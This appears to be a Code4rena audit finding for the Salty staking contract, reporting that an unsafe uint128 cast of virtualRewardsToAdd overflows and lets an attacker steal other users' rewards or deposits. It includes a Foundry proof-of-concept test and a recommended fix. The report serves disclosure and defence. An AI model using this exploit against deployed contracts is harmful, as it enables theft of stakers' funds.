Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L83

Vulnerability details

When _increaseUserShare() is called the virtualRewardsToAdd is calculated like this:

uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount,existingTotalShares);

user.virtualRewards += uint128(virtualRewardsToAdd);

virtualRewardsToAdd is then added to the user.virtualRewards but it is first casted to uint128. This can be easily overflowed and abused by an attacker.

When a pool is whitelisted, a bit of bootstrapping rewards will likely already be in the pool before any liquidity is supplied. So for example:

The pool is created and 100 SALT tokens are transferred to the rewards before any liquidity is supplied
The attacker will then deposit 100 wei for both sides
Then from a different address he will deposit 350 tokens for both sides so the calculation of virtualRewardsToAdd will be :

100e18 * 700e18 / 200 = 3.5e38 which is bigger than type(uint128).max

This will make the number overflow and only a small amount of virtualRewards will be added to the user. After when other users deposit he will be able to steal their rewards, if this is the xSALT contract then he is even able to steal their deposits.

Impact

Incorrect amount of virtualRewards will be added to the attacker, this will allow him to steal rewards from other users or steal their deposit if its the xSALT contract.

Proof of Concept

Add this to StakingRewards.t.sol, as you can see, alice and the attacker should both get the same amount of rewards but because the attackers virtualRewards were not set, he will be able to steal from alice.

function testAttack() public {
        uint256 amount = 680564733841876926927;//Amount to make the virtualRewardsToAdd bigger than type(uint128).max
        address attacker1 = makeAddr("attacker1");
        address attacker2 = makeAddr("attacker2");

        AddedReward[] memory addedRewards = new AddedReward[](1);
        addedRewards[0] = AddedReward(poolIDs[0], 100 ether);
        stakingRewards.addSALTRewards(addedRewards);

        vm.prank(DEPLOYER);
        stakingRewards.externalIncreaseUserShare(attacker1,poolIDs[0],200,false);

        bytes32[] memory claimPools = new bytes32[](1);
        claimPools[0] = poolIDs[0];

        vm.prank(attacker1);
        stakingRewards.claimAllRewards(claimPools);

        vm.startPrank(DEPLOYER);

        stakingRewards.externalIncreaseUserShare(attacker2,poolIDs[0],amount, false);

        //Alice deposits so that her proportion is 50%
        stakingRewards.externalIncreaseUserShare(alice,poolIDs[0],680.5 ether,false);

        vm.stopPrank();

        addedRewards[0] = AddedReward(poolIDs[0], 100 ether);
        stakingRewards.addSALTRewards(addedRewards);

        vm.prank(DEPLOYER);

        stakingRewards.externalDecreaseUserShare(attacker2,poolIDs[0],450 ether,false);
        stakingRewards.addSALTRewards(addedRewards);
        stakingRewards.externalDecreaseUserShare(attacker2,poolIDs[0],680564733841876926927 - 450 ether,false);

        //200 SALT is added so they should both receive 100 SALT but the attackers virtualRewards were not set
        console.log("THE ATTACKERS SALT BALANCE IS:", salt.balanceOf(attacker2));
    }

Tools Used

Foundry

Recommended Mitigation Steps

The user.virtualRewards is a uint128 so if virtualRewardsToAdd is bigger than uint128 then it would overflow so there is no need to cast it to uint128 or virtualRewards can be a uint256.

Assessed type

Under/Overflow

code-423n4 / 2024-01-salty-findings

Unsafe cast of virtualRewardsToAdd allows the attacker to steal rewards from other users. #950